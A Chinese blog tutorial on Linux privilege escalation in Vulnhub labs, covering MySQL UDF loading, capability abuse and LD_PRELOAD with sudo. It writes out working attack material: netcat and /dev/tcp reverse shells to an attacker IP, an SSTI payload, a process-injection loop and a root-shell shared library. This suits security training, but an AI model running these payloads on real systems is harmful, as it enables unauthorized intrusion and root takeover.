首页 > 数据库 >权限提升-Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

权限提升-Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

时间:2024-03-31 16:30:02浏览次数:16  
标签:Preload Web LD 提权 so https 权限

知识点

1、Web或用户到Linux-数据库类型
2、Web或用户到Linux-Capability能力
3、普通用户到Linux-LD_Preload加载so配合sudo

章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

Linux提权

1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

综合检测脚本

https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

一、演示案例-Linux系统提权-Web&用户-数据库类型

在这里插入图片描述
复现环境:https://www.vulnhub.com/entry/raven-2,269/

1、信息收集

在这里插入图片描述
http://192.168.139.155/vendor/
在这里插入图片描述
在这里插入图片描述

2、Web权限获取

searchsploit phpmailer

在这里插入图片描述

find / -name 40969.py
cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

在这里插入图片描述

python p.py

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")' //起一个交互式终端

在这里插入图片描述
在这里插入图片描述

3、MYSQL-UDF提权

两种提权方式:1、用梭哈工具(注意外联问题) 2、手工操作(不需要外联)

编译UDF.so

searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  //复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

在这里插入图片描述
python -m http.server 8080

下载到目标上

python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so

连接进行导出调用

mysql -uroot -pR@v3nSecurity
select version();   //查看mysql版本
select @@basedir;   //确认mysql安装位置
show variables like '%basedir%';    //确认mysql安装位置
show variables like '%secure%';  //查看可导出文件位置
show variables like '%plugin%';   //查找插件位置
show variables like '%compile%';   //查看系统版本

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

use mysql;
// 创建xiaodi表
create table xiaodi(line blob);
// 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
// 导出udf.so到其他位置
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
// 创建do_system自定义函数并执行命令
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.139.141 6666 -e /bin/bash');

在这里插入图片描述
在这里插入图片描述

二、演示案例-Linux系统提权-Web&用户-Capability能力

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html

1、入门

cp /usr/bin/php /tmp/php
chmod 777 /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null

在这里插入图片描述
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f
在这里插入图片描述
在这里插入图片描述
参考这个地址:https://gtfobins.github.io/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、vulnhub

复现环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
WP参考:https://www.jianshu.com/p/60673ac0454f

saket
Saket!#$%@!!

在这里插入图片描述

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

在这里插入图片描述

在这里插入图片描述

/sbin/getcap -r / 2>/dev/null //查看所有能力

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

在这里插入图片描述

nc 192.168.139.156 5600

在这里插入图片描述

结论

suid升级版,更细致的权限划分,当拿到权限后要先看下有哪些程序有能力,在对这些能力进行筛选利用。

三、演示案例-Linux系统提权-普通用户-LD_Preload加载&配合sudo

类似windows dll劫持,而linux是执行so文件,windows是执行dll文件

在这里插入图片描述

在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。

参考:https://www.cnblogs.com/backlion/p/10503985.html

Defaults        env_keep += LD_PRELOAD  //设置开启LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find  //所有用户能不用密码就对这个find进行操作

在这里插入图片描述
在这里插入图片描述

一旦这样设置就会有两个安全问题:1、sudo提权 2、LD_Preload提权

LD_Preload提权

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles  //编译这个shell.c文件为shell.so文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find //让find在执行的时候绑定编译好的so文件

在这里插入图片描述

Defaults        env_keep += LD_PRELOAD //设置开启LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh //所有用户能不用密码就对这个LinEnum.sh进行操作,LinEnum.sh是一个综合检测脚本
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

在这里插入图片描述

结论

当sudo提权有限制时(只有第三方程序文件有sudo权限),但是一旦设置了LD_PRELOAD,那么只要有sudo程序既可提权。

标签:Preload,Web,LD,提权,so,https,权限
From: https://blog.csdn.net/m0_60571842/article/details/137201947

相关文章

  • 权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
    知识点1、Web或普通用户到Linux-服务安全配合SUID-NFS2、普通用户到Linux-环境变量配合SUID-$PATH3、Web或普通用户到Linux-计划任务权限不当-Cron章节点:1、Web权限提升及转移2、系统权限提升及转移3、宿主权限提升及转移4、域控权限提升及转移基础点0、为什么我......
  • hello world
    沈阳航空航天大学软件工程第一次作业院(系):计算机学院or人工智能学院专业:计算机科学与技术or物联网工程班级:计科2103学号:213401010335姓名:吴恩涛......
  • UnrealEngine UnityBuild模式编译第三方代码问题
    UnrealEngine默认开了UnityBuild模式,把多个代码文件合并到一个较大的cpp文件进行编译。这样是为了减少总编译任务数,尽量避免单个编译任务代码内容太少导致在切换任务上消耗太多时间,尤其分布式编译情况下,任务切换成本更高。UnityBuild参考日志1>[22/102]Compile[x64]Module.......
  • 怎么绕过权限看朋友圈
    **对方设置了朋友圈权限看不见怎么办?10种应对方法****1.直接沟通**:与对方直接沟通,询问是否可以看到其朋友圈内容。这是最直接也最尊重对方的方式。**2.尊重隐私**:如果对方选择不让你看,尊重其决定,不要强行要求或尝试绕过权限。**3.请求共同好友分享**:如果你们有共同好友,且该......
  • 在Linux中,什么是文件权限?它们是如何工作的?
    在Linux中,文件权限是一套用于控制用户和用户组对文件或目录访问行为的权限系统。这些权限确保了文件系统的安全性,防止未经授权的访问、修改或执行文件。Linux文件权限的核心特点包括:三种基本权限:读权限(r):允许用户读取文件内容。对于目录,读权限允许用户列出目录中的文件和子目......
  • 渗透项目1-GoldenEye
    靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/靶机难度:中等(CTF)目标:得到root权限&找到flag.txt信息收集收集目标iparp-scan-l(收集本地网络中的活跃主机的IP地址和MAC地址。)kaliarp-scan网络扫描工具扫描局域网ip地址-阿里云开发者社区(aliyun.com)......
  • 权限、路径全部都正确,thinkphp验证码还是显示不出来解决
    尝试了各种方法,thinkphp验证码还是显示不出来解决方法:检查application/config.php和application/database.php等配置文件是否正确设置我遇到的是编码问题问题是怎么出现的呢?我从其他电脑移植到另外一台电脑,原电脑可以显示在另外一台电脑不能显示,我用文本文件修改......
  • NVIDIA一直宣传的DPU是个啥东西,啥用处? —— NVIDIA BlueField-3 DPU
    地址:https://www.bilibili.com/video/BV1ys4y1z7nS/?spm_id_from=333.788.recommend_more_video.3&vd_source=f1d0f27367a99104c397918f0cf362b7无意间看到了一个比较靠谱的解释:(来自地址:https://www.bilibili.com/video/BV1ys4y1z7nS/)......
  • KingbaseES 普通用户逻辑导入时权限不足错误
    逻辑导入时权限报错:ERROR:mustbememberofrole"system"实验:1、在超级用户system下新建用户与schema:createuseruser1;createschemas1;修改user1的默认权限:test=#alterdefaultprivilegesinschemas1grantallontablestouser1;ALTERDEFAULTPRIVILEGESt......
  • vuex.esm.js:135 Uncaught Error: [vuex] getters should be function but “getters.
    报错vuex.esm.js:135UncaughtError:[vuex]gettersshouldbefunctionbut"getters.mode"inmodule"userModule"is"dark".atassert(vuex.esm.js:135:1)原因:在使用vuex的moulds时index.js中已创建了一个vue实例newVuex.Store,在模块文件中又再创建了一个,导致报......